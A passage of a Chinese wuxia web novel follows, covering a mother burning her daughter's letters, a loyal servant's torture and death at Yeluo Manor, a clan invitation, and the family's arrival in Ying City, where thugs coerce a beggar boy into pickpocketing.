宋云莲和林风桥夫妇此时正相对而坐于八仙桌前,面色凝重。见林醒致深夜归来,他们眼中的担心却纷纷转化成怒火。
“你去哪了?”
林醒致知道自己犯了大错,眼神盯着地面,言道:“我去见了朋友,他身中剧毒,明日便要启程前去医谷求医问药,只怕一时间再难相见,我便去送一封信给他。”
宋云莲一拍桌子,一改往日的慈眉善目道:“你真是胆子大了,敢深夜出去,倘若路上有个三长两短,你让我们两个怎么活。”
林风桥见妻子动了大气,便急忙起身将宋云莲扶回座位。
“致儿,快给你娘亲认错,你大半夜一声招呼都不打,自己悄悄跑出去,我们两个都急坏了。”林风桥朝着林醒致眨了眨眼睛,示意她赶紧表态,好平息妻子的怒气,“见你牵了马匹,想必是要去远处,害得
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我们两个在路上一顿好找。”
“娘,爹,是孩儿错了。孩儿不应该这样做,让你们担心。”
林醒致想要跪在地上给父母磕一个响头,却被宋云莲拦下。
“别磕了,坐下吧。”宋云莲语气中带着不容置喙的强硬。
林醒致战战兢兢地望向母亲的脸,那是她第一次看到母亲如此动怒,此时的她完全与之前的母亲判若两人。
但宋云莲见女儿安全归来,也神色稍缓:“你这丫头,上次非要跟着你爹去叶落山庄送酒,弄得伤痕累累,这次又一声不响地去送什么信。”
“那天你从叶落山庄回来,不仅手受了伤,精神也时常恍惚,想来定是遇到了什么骇人听闻的事情。只是你并未同我们讲实话,我们也没有再问你。”
林醒致将自己在叶落山庄的经历一五一十地同父母说了,他们三人在油灯下秉烛夜谈,直到深夜。
林行远本来也想着凑上热闹,听一耳朵,却被宋云莲拍打着赶快去睡觉。他这人心宽体大,小脑袋刚碰到枕头,便沉沉睡去。任凭外面是雨打风吹还是爆竹声起,他也绝不会轻易醒来。
宋云莲才知与林醒致通信的正是叶落山庄的少庄主。
“娘知道,你对那叶落山庄的少庄主念念不忘,可他岂是你能高攀得起的?”
此言一出,林醒致顿时瞪大着眼睛紧紧盯着母亲,心中只觉得泛起层层苦涩,却又无力反驳。
宋云莲明知自己说得过分,但她也实属是无可奈何。女儿是她心尖上的宝贝,她不忍看到她受到一点伤害,更不能眼睁睁看着她身入险境。
人人都知道叶落山庄是江湖上的名门望族,岂是他们这种小门小户可以入得了眼的,倘若他们兄妹两人中有一人能进入叶落山庄学艺,那都是他们祖坟上冒青烟了。
若放任女儿和那少庄主再继续联系下去,不光会将林醒致置于险境,更容易为他们家引来灭顶之灾。
宋云莲要求林醒致将她与叶明玄近来往来的书信都拿给她看。
林醒致不愿意,她双手抱着不动一步。
宋云莲见状,竟直接冲上前来将林醒致手中的盛装信件的小木盒一把夺过,反手扔进了壁炉之中。
熊熊燃烧的烈火瞬间吞噬了木盒,所有信件在此时都化作一缕浓烟。
林醒致呆在原地,眼神盯着火焰,两道泪水自眼中涌出。
“你可知那叶落山庄少主是什么身份,他也是你能招惹的?江湖上的事情,你贸然插手只会惹祸上身。”宋云莲语气强硬,“你给我老实待在家里,哪也不许去!”
林醒致望向母亲,扭头跑回屋内。她用被子紧紧裹住身体,声声啜泣从楼上传来。
宋云莲听着女儿的哭泣声,心中却也忍不住地泛起一阵阵酸楚,她又何尝不在心痛?但是为了女儿为了这个家,她必须要做这个恶人。
“你也不必如此惊慌,就当致儿交个朋友……”林风桥想要缓和一下紧张的气氛,却不想此言一出却正好引得宋云莲更为恼怒。
“交朋友?与他们这类武林中人交朋友,林风桥,这些年他们武林人士打打杀杀你又不是没见过。人人都称自己是侠客,有几个是真正的行侠仗义?”
林风桥被宋云莲的一番话堵得哑口无言,直连连摇头。
林醒致仰面躺在床上,月光从窗户中倾洒进来,心中那份悄然萌生的幼苗似乎还未经历风霜就被强硬地拔除了。
从那之后林醒致没有再收到叶明玄的来信,也并未再看见白鸽从北边飞来。
这是为什么呢?
这边林醒致被母亲烧毁了全部的信件,与此同时,而叶明玄那边也并不好过。
14. 血色羽翼
话说小厮彭吉怀揣着林姑娘给少爷的信,一路摸着黑穿行林间,直向叶落山庄奔去。
林姑娘叮嘱过,此密信事关重大,他必须将其亲手交到少庄主手上。
眼看距离山庄侧奔不过一里之遥,路旁林中却骤然惊起数只寒鸦。
嗖!嗖!嗖!
六道黑影如同鬼魅一般从林中窜出,拦在道路中间。他们全身同样笼罩在夜行衣之下,只露出一双双冷酷无情的眼睛。
这几人手中各持一把匕首,此时正要将彭吉团团围住。
彭吉心下一惊,既知不妙,马上掉头后奔。
他猛地一勒缰绳,那骏马前蹄腾空而起。彭吉厉喝一声,双腿夹紧马腹,随后从马鞍旁抽出一柄大刀率先向其中一人砍去。
那黑衣人显然并未料到他会直接向他们冲来,登时举匕格挡。
“铿!”一声锐响,匕首竟被那大刀传来的力量震得脱手飞出。
下一瞬,彭吉手中匕首的刀锋已然抹过对方咽喉,血液飞溅。动作十分干净利落,丝毫不拖泥带水。
但此时另外两名黑衣人正贴地滚近。
其中一人重踹马匹前脚,马儿吃痛,向右倒去。另一把匕首则顺势刺向马腹。
彭吉见状,翻身下马,然而在另一侧等待着的黑衣人则将匕首再向他小腿刺去。
彭吉腾空跃起,避开了来自下方的攻击,与此同时,他俯身挥刀,“铛”地架开齐齐刺来的双匕,一时间火星四溅。
彭吉年幼便被关在斗奴场中经受历练,他的身上有着不怕死的精神,敌人越是棘手,他越是英勇。但他没有想到的是,这些人皆为死士,他们却要比他更不畏惧死亡,在这些人的眼中,完成任务远远要比性命更值钱得多。
就在彭吉刀势回收之时,身后一名黑衣人竟然丝毫不避闪。他合身扑上,即使被彭吉手中刀锋划破肩胛,也要将匕首狠狠插入彭吉的手臂之中。
“呃!”
刺痛传来,彭吉闷哼一声,血丝布满双眼,他反手一拳将那黑衣人击飞出去。只见那人登时飞出,直直撞在路边树干之上,再无声息。
一番战斗过后,小路之上躺着五具尸体。只剩下一人挥动手中匕首即将直冲过来。
彭吉用力捂住右臂,他的伤口处虽然流血不多,但却已经变得乌黑发紫。很显然那匕首之上竟涂有剧毒,而这匕首只要轻微擦破敌人的皮肤便能达成目的。
突然,一股强烈的麻痹之感竟顺着经脉快速蔓延开来。
但彭吉却不能运功逼毒,只怕稍动真气,这剧毒便会蔓延得更加迅速。
“停手”,只听得远处一个冷漠的声音响起,一位身披斗篷的神秘人正骑着马从夜色中款款而出。
彭吉艰难地抬起头,望向那人走来的方向。
只见他一双眼睛逐渐瞪大,彭吉即刻强撑着身体向林中奔去。却没跑两步便被一把赤色抓钩狠狠握住后颈,“唰”地一声便被从草丛之中拽出。
彭吉越是挣扎,那抓钩便是勒得越紧。
“带走。”
“是。”
仅剩的那名黑衣人提去彭吉手中握着的大刀,将彭吉绑到马上一路拖行,消失在小路之上。
屋内,叶明玄点起一盏小油灯,正在心急地等待着彭吉的归来。
他深知自己明日便要启程,而林醒致今日约他定是有要事相告。
可他却等至深夜都没有见到彭吉的身影,他心中焦急万分,于是披上大氅向后花园寻去。
还未行至一半,一个提着灯笼的丫鬟便跑了过来。
“不好了,少爷,老爷……老爷,他向鸽……鸽房去了。”那丫鬟急切地说道。
叶明玄听闻,登时心下一乱。
那鸽房便是他养信鸽的地方,父亲虽然对他管教颇为严格,但这等小事却从未横加干涉过,如今为何深夜前往那里?
他越想越不对,心头已经升起一种不祥的预感,于是赶忙在丫鬟的搀扶下向鸽舍奔去。
可当他越靠近那后山的割舍,却越觉得血腥味儿愈发浓重。
只见鸽舍的木门大敞着,丝毫没有以往熟悉的“咕咕”之声,只剩下一片死寂。
首先映入眼帘的便是满地的一片狼藉。
沾着血污的白色羽毛整铺满地面,而那些往日机敏活泼的信鸽,此时却都已经成为了冰冷僵硬的尸体。
那鸽舍中央正站着一位身着红色锦袍的男人,此时背对着他,身姿挺拔,这人正是他的父亲叶千愁。
此时,叶千愁手中竟还攥着最后一只鸽子,那是叶明玄一手养大的头鸽,名为血影。它的翅尖带着一缕独特的灰羽,与叶明玄陪伴的时间最为长久。
然而此刻“雪影”正在父亲宽大的手掌中挣扎着,那一声声“咕咕”的啼鸣虽然微弱,却如一把把尖刀扎在叶明玄的心头。
“爹!”
“求您放过他们,孩儿无论做错了什么,孩儿都向您赔罪,我知错了,我改!!”
叶明玄将头俯在地面上,“砰砰砰”地直磕了几个响头。只见那鸽子血液正顺着他的额头流了下来。
“看来这些畜生”,叶千愁的声音低沉,如同无数冰锥向人们刺来,“让你忘了自己姓什么。忘了这叶落山庄的规矩。”
叶明玄浑身一颤,他张了张嘴,似是要说些什么,却发现自己已经哑然失声,再也发不出任何声音。
他看向父亲那曾经教导过他习剑术,也曾轻拂过他面颊的手,此刻却在缓缓收紧。
那一瞬间叶明玄只觉得被掐紧脖颈的并非是“雪影”而是自己。他的喉咙似乎已经被狠父亲狠扼住,再透不出半分气息。
“咔嚓……”
一声细小却无比清晰的骨骼碎裂之声,划破这片刻的宁静。
“雪影”小小的脑袋无力地垂了下来。
叶千愁像丢弃一件垃圾一般,随手将仍略带余温的“雪影”尸体扔在叶明玄面前。
叶明玄双目紧盯着“雪影”的尸体,无助的泪水从他的脸上滑落,他紧闭着双眼,大口大口喘着粗气。
“说,与你通信的人究竟是谁?”
叶明玄满含泪水地抬起眼眸,他看着父亲,一言不发。
“好,不说是吧,把人带上来!”叶千愁的言语中流露出不容置疑的威严。
只见一个浑身鲜血淋淋的人被架起拎了上来,扔在地上。
叶明玄一眼便认出那便是他的书童彭吉,但他此时却已经被拷打的面目全非了。
原来,当时彭吉被那名神秘人直接带到了方延度那里。
方延度对他进行严刑拷打,逼迫他说出写下密信之人的身份,但彭吉却坚决不吐露半个字。更是趁方延度不注意之时,将怀中的密信全部塞入嘴内。
但方言度的手下和养子眼疾手快,迅速将信从他的口中抠出一半。
这半封信被方延度带回仔细查看,却见那半张纸上全无任何字迹。
此时一道黑影出现在窗前,他的手中持着一瓶药酒。交在这信纸上,顿时字迹全部显露出来。
这是林醒致为了防止信件落入他人之手而特意使用的秘法,但可惜这密信内容还是被人破解了。
方延度看见信件内容的一瞬,顿时睁大了眼睛。这密信虽并不完整,但写的却都是那天他在地宫中所言之事。
这意味着当天地宫中绝对有第三个人的存在,而且此人现在就要将真相尽数告知叶明玄。
方延度即刻派人
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将事情转告叶千愁,但是他要假装自己毫不知情,这些全是山庄暗卫的手笔。
而且他命手下只禀告庄主,叶明玄和庄外之人书信来往之事,至于今晚这封密信暂且不提。
就在这紧张时刻,方延度从门口走入言道:“叶兄,你且消气,玄儿只是年少无知,他也并非是不听管教的孩子,你何必如此大动干戈呀?”
叶明玄此时望向方延度,他如同抓住一株救命稻草般:“方叔叔,求您救救彭吉!”
叶明玄跪着紧紧抓住他的衣袍,恳求道。
方延度看向地上奄奄一息的彭吉,脸上露出心痛而惋惜的表情:“不想这暗卫下手居然如此之狠,竟将彭吉伤成这般模样。”
他右手折扇,在左手掌心拍了又拍,更显痛心疾首。
紧接着他弯腰,低头向叶明玄的耳边轻声说道:“你若不说出那通信之人的名字,你爹怕是不会放过彭吉这小子。”
叶明玄同他对视一眼,又看向站在灯下的父亲。
“你若是说出是谁,我便给这彭吉解药,放他一马。”叶千愁冷冷道。
而躺在地上的彭吉,此时头上居然青筋暴起,他似是有话要说,但口中呜咽之声不停,却难以吐出完整的字眼。
叶明玄绝望地闭上了眼睛。
他如今只觉得父亲就如同恶魔一般,什么名门正派,什么所谓的武林高手,全部都是假的,都是假的。
叶明玄艰难地开口:“是,是……”
此时,原本气息奄奄的彭吉不知从何处爆发出最后一股力气,他猛地仰起头望向叶明玄。那眼神中有劝阻,有恳求,仿佛在说,倘若他将人名说出,那未来死去的便会不止他一人。
还未说完,突然彭吉身体急速抽搐,他双眼圆睁,一股鲜血从他嘴角流出,就此一命呜呼。
他选择了咬舌自尽。
一切发生的都是那么突然,就连方延度本人也没有想到,彭吉这小厮竟然对少庄主如此忠诚,实属世间罕见。
见此情景,叶千愁骤然起身,他脸色铁青,死死盯着彭吉的尸身,手一扬,两道人影窜出,将这血淋淋的尸体抬了下去。
可就这么一抬,原本已经被翻查过的包裹从彭吉胸口掉出。
雪白的梅花糕此时被献血染红,掉落一地。
叶明玄望着碎裂的梅花糕,一双眼睛瞪得几乎要跃出眼眶。
方延度则趁机将叶明玄从地上扶起。
“玄儿莫要伤心,只要你日后不再与那外人联络,你父亲定然不会再怪罪于你的。”
而这时的叶明玄,脸上的泪痕是干了又干,他本就身中剧毒,此时已无半分力气,恍惚间倒在方延度怀中。
一轮明月高悬夜空,它孤独地俯视着世间的一切,记录着这个血腥的夜晚。
午夜时分,叶明玄缓缓醒来,见床边正站着一男一女两位小厮。他见到少年面生便问对方姓名。
只见那少年扬起稚嫩的脸说道:“小的今日才进到庄中。大人们给我起了新名字,唤我彭吉。”
“彭吉”这两个字自那少年口中刚一说出,叶明玄便直接如同五雷轰顶一般,一口鲜血自口中吐出,再度昏死过去。
他做了一个梦,一个恐怖而孤独的梦。
在梦中他见到母亲,见到林姑娘,可无论他如何呼唤,她们都不再回头看他一眼。
他在沼泽中越陷越深,直到再无声音。
与此同时,在遥远的红泉村,在同一片月光之下,林醒致也呆呆地望着那一轮明月,暗自神殇。
正所谓:“一轮月照两地心,清辉难拭离人泪。”
从那之后,林醒致每每徜徉于长奚古道之上,却不再见任何一只白鸽由北而来……
15. 贺寿之邀
天蒙蒙亮,一群乌鸦振翅飞过。
长奚古道之上薄雾未散,人影逐渐增多。做生意的小商贩以及往来的村民都投入进一天的忙碌。
临近春节,家家户户都开始囤积年货,长久冷清的古道之上又迎来了欢乐的气息。
林醒致推开窗户,见外面热闹非凡,便也想出去走走。
自从上次信件被母亲一把焚毁之后,她便生了一场大病。
也许是因为心情郁结,也许是因为感染了风寒,这一病就是好几天,如今方才好转,便打算出去透透气,晒一晒太阳。
那些小商贩沿路支起摊子,叫卖声、孩童嬉笑声,滚滚车轮声,共同营造出一片市井氛围。
“娘,我回来了。”
只见林行远背着竹篓回到屋中,他将手放在火炉上熏烤,时不时还对着手哈一哈气,足见外面天气寒冷。
林风桥接过他背上的竹篓,见里面没有多少柴火,便问道:“怎么没有多少,你这小鬼头是不是又偷懒了?”
“我哪有,是后山的小树都被赤龙帮的人给砍光了。”林行远一边抓起一块梅花糕塞进嘴里,一边嘟囔着说道。
宋云莲和林风桥互相对视一眼。
宋云莲开口道:“你怎么知道的?”
林行远将一大口糕点咽下:“我今天和村里的毛头一同上山,路上遇见黄大爷和李嫂。他们两人上山比我们还要早,却已经在返回的路上了。”
“我问他们怎么什么都没采就下山了,他们便给我们俩看了这个”。只见林行远从口袋中掏出一块小的铁牌,“他们捡到了这个东西。”
没想到,他刚拿出来,宋云莲就一掌拍在林行远头上,这一掌力气虽然不大,但也拍得他“哎呦”一声。
“娘,你干什么?我又哪里做错了?”林行远抱着头佯装自己被打得十分痛苦的样子。
“你这小子,这东西既然是别人捡的,你又拿回来做甚?”
林行远见状嘟囔着嘴,念叨着:“我那不是好奇,好奇有错吗?”他似乎还想继续说,但看到妹妹从楼上下来,便就此住嘴。
宋云莲接过那枚铁制令牌,拿给林风桥,他夫妇二人仔细端详。
只见那是一枚如大号铜钱大小的椭圆形令牌,厚度适中,整体能恰好握于掌心之中,也能藏在暗袋内,十分方便隐藏。但也因为它的小巧,所以容易遗落而不被察觉。
这令牌是由赤铜混合玄铁所铸,表面一层精致的龙鳞纹路。
林风桥拿着它跑到院中对着太阳,可观察到那令牌在阳光照射下显出一层暗红色的微光,一条三爪赤龙盘绕其中,栩栩如生,肉眼看上去如同龙鳞乍现。
这便是他们当地有名的赤龙帮的手下所持令牌。
这赤龙帮虽然并非江湖上数一数二的门派,但却声名在外。
传闻前朝末年,天灾人祸不断,一群矿工和流民辗转来到这红泉地界,在山中迷了路。
本以为他们便会就此饿死在这片偏僻之地,却不想机缘巧合之下竟发现了一片由赤红玉石所形成的龙形矿脉,就此发家致富,成立了赤龙帮,由此世代相传。
而赤龙帮的上一任老帮主名为林啸山,此人正是林风桥的父亲,也就是林氏兄妹的祖父。
只是为何林风桥从来不提起父亲,那便是他埋在心里的一段往事了,他也很少在孩子面前提起。
而他们夫妇二人手中拿着的这枚令牌便是赤龙帮的“赤鳞令牌”。
持有他们的人江湖人称“龙鳞”,是赤龙帮中的普通帮众,其人员遍及三教九流,主要负责收集情报和解决事端。
赤龙帮帮派涉及矿产,走镖等行当,门中能人志士众多,但时间久了难免兴起横行霸道之风。其下帮众会利用赤龙帮的威望做些霸占抢掠之事,这倒也不足为奇。
慢慢地,这帮派也就成了一方霸主势力。
如今,他们竟然开始大肆地砍伐红泉山的树木,想必是要有什么大动作。
“无妨,咱们父子俩明天再去另外的山头找一找”,林风桥摸了摸儿子的头,爱惜地说道。
“林掌柜,林掌柜!”
门口传来两句沧桑的吆喝之声。
“来了”,宋云莲和林风桥急忙走出。
只见从门口进来一个干瘪的小老头,其身后白雾升起,热气腾腾,原来还拉着一车新出锅的热豆腐。
这人是同村打豆腐的张老汉,当天还未亮,他便起了早,打上这一车豆腐,正准备去远处集市上卖一个好价钱。
“哎呀,我从你们酒肆门前过,就想着来打一斤温酒喝喝,让老夫我这肚子也暖和暖和。”
“好!”宋云莲接过他手中的大葫芦,向地窖走去。
而林行远不知从何处冒出来,他抓住张爷爷的胳膊,求他带自己去集市上玩一玩。
“小妹,你去不去?”林行远回过头,看了一下正在给鸡鸭喂食的林醒致。
林醒致心下惊喜,她这个坐不住的性格当然想去,可母亲还没有同意她可以随便出去,一时间竟不知该如何作回答。
林行远撇了撇嘴:“你往日这种事情最是积极,怎地今日如此忸怩。”
宋云莲此时已经打好满满一壶温酒,她言道:“倒是淘气,你张爷爷那是去卖东西的,又不是陪你去玩的。”
正巧张老汉从宋云莲手中接过酒壶,他摇了摇头:“非也,非也,并非是老朽不愿带两个小娃娃去,而是这世道如今并不太平啊。”
“哦?”宋云莲饶有兴致地继续问:“那您再多说说。”
老张头将葫芦插在马车侧面的牛皮袋中,随后转身坐下,神神秘秘道:“不知你二位近来是否听闻,这郢城最近是匪道横行,他们烧杀抢掠,无恶不作。”
宋云莲眉头微蹙,她示意林风桥也坐下,他们夫妇一同听张老汉细说。
“最为奇怪的是,你猜他们抢什么?”
“什么?”
“他们不抢钱财,专门劫掠十岁左右的男孩和女孩。”
听到这里,林行远不由自主地回头瞅向妹妹。
林醒致则超他呲了呲牙,那样子活像在说:“看什么看!”
但那老张头话还没说完,只听到古道之上传来一阵撕心裂肺的哀嚎,一瞬间嘈杂之声均被盖过。
人们快速向东南方向涌去,将人团团围住,这情形也引得村民们纷纷前来凑个热闹。
林醒致和林行远也从院中跑出,挤进人群中查看情况。
只见一对疯癫夫妇正在古道之上拦截过往的小商小贩。
那妇人头发散乱不堪,满头花白,衣衫上污渍斑斑。怀中抱着一件孩童的棉衣,她嘴中哭嚎着:“我的孩子,我的孩子!还我的儿啊!”她声音嘶哑,目光涣散,已然半疯。
而在她旁边的男人则浑身是血地躺在一块破旧的门板之上,此时已奄奄一息。
他伸手想要握住女人胡乱挥舞的双臂,却毫无力气,只能从喉咙中发出“嗬嗬”的喘息。
“是西边山里的那伙强盗!”有人低声愤愤道:“可无人识得他们,这伙人专抢十岁上下的娃娃,已经是这个月第三家了。王五哥身强体壮,尽力反抗,却被砍成这样,但娃儿还是被抢走了。”
“是啊,王家嫂子一夜白头,神智也不清醒了,这造得是什么孽啊!”
“什么?”
众人不禁大惊失色,一时间人心惶惶。
村中孩童众多,每一户人家都害怕自己家的孩子被那伙强盗坏人抓去,有的大人急忙让前来围观的孩子赶快回去。
林风桥和宋云莲二人从屋内奔出,一人一手抓着林氏兄妹,撤出人群。
接着二人又返回那对夫妇身边,他们心有不忍,便要带他们进客栈中稍作休息。
可那男人不愿,表示他们二人皆为强弩之末,不必再给他人带来麻烦,自己留在门口歇息便好。
林风桥则回到屋中取来伤药,给那男子稍作包扎。宋云莲则为他们倒了一些热茶,他二人神色稍缓。
与此同时,一股悲愤之情似乎弥漫在清晨的空气之中,直让这天倒添三分凉意。
就在这时,古道尽头一匹高头大马自远处奔来,马上是一位身着锦绿劲装的少年,约莫十七八岁,眉眼间尽是凌厉与倨傲。
路过之时,他分明已经看到那树下的苦命夫妇,但他非但丝毫没有减速,反而猛地一夹马腹,手拉缰绳,轻喝一声。
“驾”!
便在一片惊呼和众目睽睽之下,连人带马从那疯癫妇人的头顶一掠
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而过,只差毫厘便可将那妇人的颅骨踢得粉碎。
而那人自始至终未曾回头看过一眼,仿佛他刚才一跨而过的不是两个活生生的人,而是两枚碍事的石子。
林醒致则将一切都看在眼中,她双手紧紧握拳,恨不得冲上去痛砸那锦袍之人。
而马蹄带起飞扬的尘土直扑了那妇人一脸,她被这突如其来的一幕吓得呆呆怔住,一双眼睛望着那背影,哭声戛然而止。
那锦袍少年则在几丈之外勒住骏马,抬头看向牌匾之上“风云客栈”四个大字,嘴角微挑。
紧接着便将目光向人群中扫视,最终锁定在一个高个子强壮的男人身上。
他见这个人眉宇间尽是英武之气,面目又有几分眼熟,翻身下马,抱拳道:“阁下,可是林风桥林二爷,在下赤龙帮弟子马镜冲,奉帮主之命特来送上请柬,邀二爷携家眷,于下月初五前往赤龙帮,为老夫人贺寿。”
他声音清脆,说罢便从怀中取出一份红色请柬,反手一推,那请柬腾空而过,林风桥眼疾手快,将请柬稳稳接住。
马镜冲见林风桥功夫不错,脸上仍笑意未减。
林风桥回道:“我并非什么林二爷,你称呼我林掌柜便好。至于这寿宴,我已多年未曾归家,如若近来无事自会考虑前去。”
“少侠若无旁事,大可进屋坐一坐,喝一杯茶再走也不迟。”
然而那马镜冲面色稍变,他上前一步说道:“帮主特意嘱咐,他与你也是亲兄弟,多年未见,甚是挂念,此次寿宴还请二爷务必赏光,莫要再推辞。”
他言辞不改称呼,让人听来似乎不像邀请,倒像是威胁。而他身后的骏马此刻正不耐烦地踏着蹄子。
林醒致心中暗道:“此人就连坐骑都尚且如此性格,其人品只怕更为堪忧。”她心中不禁对着素未谋面的赤龙帮帮主,她所谓的伯父,没什么好感。
马镜冲见林风桥脸上尽是犹豫之色,他继续开口:“请柬已送达,望二爷早做准备,莫要辜负帮主的一番美意啊。”
言毕,他飞身上马,右手轻拉缰绳,示意马匹调转方向,便沿着来时之路,从容离去。
后来,那名为王五哥得男人没过多久便咽了气。林风桥夫妇则将他埋在红泉山底,而那妇人却在不知何时悄然消失在夕阳之下,人们却寻她不得。
也许,那妇人已经顺着离去的商贩队伍前往远方继续寻找丢失的儿子。也许她已心如死灰,就此去了一个无人知晓的地方。
这一切,正如童谣中所唱的那般:“北风嚎,落叶飘,断肠人走离魂道。”
回到家中,宋云莲和林风桥却对着这份突如其来的请柬,犯了难。
原来这赤龙帮的前任帮主林啸山是林风桥的父亲,而现任帮主林道堂则是林风桥同父异母的哥哥。
林风桥的母亲是林啸山的妾室,之前是婢女,后被纳为妾,但因为诞下林风桥,也便被视为眼中钉,肉中刺。
他年幼时母亲便亡故,而父亲也没过多久便意外身亡,这个家也就越来越容不下他。
林风桥性格老实本分,不善言辞,他不愿与哥哥相争,便离开林家,打算自立门户。
他记得有一次父亲的仇家前来寻仇。那人男人一只手伸来要将他哥哥掳至马上,他即刻与那人兵刃相向,也因此在后背留下一道巨大的伤疤。此后他们兄弟二人便日渐和睦,形影不离。
若非是那大夫人从中挑唆,步步紧逼,他也不会离开林家。
但他若是不离开林家,又怎会被岳父宋威收留,从而拥有一个如此幸福的家庭呢?想来一切都是最好的安排。
林风桥思来想去,脑海中浮现出父亲临死前的遗愿,便是要他兄弟二人和睦相处。他心道,自己也有十多年未见长兄,此次若前去贺寿,若能同兄长化解隔阂是再好不过了。
可妻子宋云莲知道林风桥当时能从林家逃出已实属不易,现如今那林氏母子的做派纯属无事不登三宝殿,此行恐怕没有半点好处。
她只觉得不要再与那林家来往,多一事不如少一事,他们一家过自己的日子便好。但她终究还是抵不过林风桥的坚持。
到了指定日子,他们夫妇二人带上林氏兄妹,收拾行囊,准备好贺礼,雇了一辆马车,便启程向郢城赴约。
16. 毛贼出没
林风桥一家乘坐马车在快到城门口的地方停下,顺着人潮,向郢城正门走去。
那城门不大,却过路人众多,一时间人潮汹涌。
林醒致觉得自己似乎正在被推着向前移动。她抬起头,只见随着门楼的阴影逐渐消失,映入她眼帘的竟是一番热闹非凡的景象。
此时,一个扛着草杆子的老翁正从人群中穿过。他的草杆上插满红彤彤的山楂,正在日光下泛着诱人的光泽。
那小贩走街串巷的叫卖声:“冰糖……葫芦呦!”不断传入他们兄妹二人的耳朵。
宋云莲见他二人馋得不行,便拦住那老翁买下两串糖葫芦,林醒致和林行远一接过来便大口吃起,直到双腮鼓鼓。他们狼吞虎咽的吃相直逗得宋云莲和林风桥哈哈大笑。
就在林醒致正细细品味手中糖葫芦时,一阵更为响亮的喝彩声,又将她的注意力拽了过去。
只见在不远处的空地上,里三层外三层围满了人,一个精瘦的汉子正赤裸着上身,在周围众人的惊呼声中,将手中一柄明晃晃的长剑送入喉中。
“一寸,两寸,三寸!”
林醒致瞪大了眼睛,不敢相信她所看到的一切。
她自幼长在山野田间,家在客栈,虽然往来人员众多,但大多是商队,哪里见得过这种江湖奇术的小把戏?
她不禁跑到人群之中,跟着齐声欢呼。
而那人身旁还有两个正在翻着筋斗的孩童,以及一名拿着铜锣正笑盈盈向看客讨赏钱的俏丽女子。
那两个孩童没有什么独特的招式,倒是一旁的一位面色黝黑、身材干瘦的汉子,正从身后搬出一个陶瓮。
这陶瓮有两尺高,寻常孩童尚且钻不进去,他却要以一个成人的身体进入到这瓮中。
只见这人朝向众看客抱拳,绕着陶瓮转了一圈。他深吸一口气,将双手插入陶瓮之中。顷刻间他的一双胳膊如同没了骨头般,一节一节地探入瓮中,紧接着他的头刚好卡住瓮口,只听得“”咔咔”碎裂的声音,那汉子的头围似乎登时小了一圈,整个头颅便顺利进入瓮中。
随后,他的双肩内陷,其背后像是有一双无形的大手将他的背部狠狠挤压。
此时“咯咯”之声响起,周围观看的众位看客都凝神屏息,为这男人狠狠地捏了一把汗。
林醒致倒也不例外,她看着男人从容地将臀部收入,而那一双蜷缩的双腿就这样眼睁睁在众人的注视下消失在了瓮口。
“好!”
众人齐声喝彩。
林醒致将最后一块山楂吞入口中,她不禁感叹,这世间的奇人奇事当真是数不胜数。
而那敲锣的女子同样绕着陶瓮走了一圈,她用木棍敲击瓮身,发出沉闷的“咚咚”声。
只过片刻,陶瓮发出细微的晃动,那杂耍艺人接连将两只手和他的头颈从瓮中伸出,一个大活人就这样重新站在人们面前。
他这一番功夫赢得在场所有人的喝彩,铜钱便如雨点般砸向那女子手中铜盘。
“娘,那人功夫好生厉害,竟能将自己装进如此小的罐子中。”
宋云莲拍了拍林醒致的头,言道:“傻丫头,你想学啊?”
“这叫缩骨功,在江湖上是一门极难练就的功夫,会的人极少。”
“为什么?”
“因为这‘缩骨’技艺需要从小练起,又因逆反天道而为,所以要承受十倍百倍的痛苦。人贩子会从小便给这些孩子喂药,生生折断其筋骨,再重塑苦练,方得今日之功。”
“啊……”
林醒致不禁望向那施展缩骨功的男子,心中直道五味杂陈。
这缩骨技艺实非常人所能坚持,若有安稳顺遂的日子,又有谁愿意去练就这折损寿命的缩骨功呢?
林醒致不忍再看下去,她摸索怀中掏出三枚铜钱,扔向那女人手中铜盘。
“致儿,走啦!”
“哦。”
林醒致转身跟上父母的步伐,继续向街中走去。
他们一行人大包小裹,自然引人耳目,旁人一眼便能看出这是外乡之人。
而此时就在一条暗巷之中,正有一双眼睛在盯着他们。
昏暗的小巷中两个男人正将一个男孩的去路死死挡住。
一人个头高大,双眼暴突,一个身材矮小,嘴斜眼歪。那大块头和矮个子手里各持一根木棍,正向那男孩步步逼近。
“小子,干还是不干?”那男人恶狠狠地说道。
“我不干,你们就会打死我,我说干了也讨不到半分好处。”少年毫不妥协,手中不知何时已掏出一把匕首,只可惜他的动作都被那个矮个子看在眼中。
他信誓旦旦说道:“看样子你是不想,但你的兄弟呢?”
只见那男人一脚踢翻身后木板赫然出现另一个躺在草堆上的男孩,他面容憔悴,脸色煞白。
那少年显然吃了一惊,口中急切:“你们卑鄙,有种就冲我来!”
“哈哈哈哈哈,冲你来,你个小杂种,老子让你去偷,又不是去抢,你怕什么?”矮子骂道。
“我什么都不怕,更不怕你们。”
“不怕,那我就先废他一只手,再给你壮壮胆!”说罢,那个男人便抓起一旁昏迷少年的一只胳膊,作势要拧。
“不要!”只见少年话刚说一半,却见那强壮男人抢步上前,趁他分神之时,左手即刻覆上少年的脖子。这男人粗壮的手臂将他死死抵在墙上,刺骨的冰冷向他的后背袭来。
那少年被压得喘不过气来,手中匕首掉落在地,却也被那强壮汉子一脚踢开。
他双手不住地捶打着男人,奈何双方力量对比过于悬殊,那汉子又皮糙肉厚,不得已,他低头向那人手臂上猛咬一口。
男人吃痛冲着那少年脸上就是一拳,顿时血丝便从他嘴角缓缓流出。
“他爹的,狗崽子敢咬我。找死了是不是!”
“哈哈哈哈哈,老五,你收拾个小娃娃还这么费劲。”矮子嘲笑道。
那强壮恶人显然被激怒,登时竟使出九成力想要将少年一掌拍死。却被一旁的矮子及时制止,“老五,别心急,这小子不还有用吗?”
那汉子听言,将挥舞在一半的手收回。
“这小子不老实,非给他点教训不可。”说罢,又向那少年右脸锤了一拳。
那少年本就被按得头部缺氧,此时又挨了两下,顿时眼冒金星。他把牙关咬得“咯咯”直响,眼睛死死盯着那男人,像一只幼虎想要咬死面前的猎物。
而强壮汉子此时却用手掌扣住他的头,强迫少年的视线转向巷口。
“瞧见了吗?就那个家伙,他腰上的钱袋给老子拿过来。”
那少年眼神斜看一侧正被抓住手腕的弟弟,言道:“好。”
“这就对了。”
那男人将他送开,少年便如同一件破布从墙上摔下,然而那男子似乎还并未解气,又向乞丐少年的肚子上猛踹了两脚。
“快去,别让老子等急了。”
矮子邪笑道:“你弟弟我们就扣下,不拿回钱袋,你们两个狗崽子都别想看到明天的太阳。”
